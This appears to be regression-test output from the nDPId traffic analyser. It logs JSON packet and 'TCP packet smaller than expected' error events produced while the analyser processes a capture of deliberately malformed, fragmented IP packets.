-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6344,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777740} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":6345,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777745} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777750} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777761} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777766} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777771} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777776} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777787} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777792} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777797} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777807} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777816} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777825} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777837} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777846} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777863} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777873} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777883} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777892} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777901} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777911} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777923} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777933} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777943} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777952} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777961} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777971} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777980} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777989} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030777998} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778008} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778018} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778028} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778037} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778047} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778057} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778066} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778076} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778085} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778095} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778105} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778120} 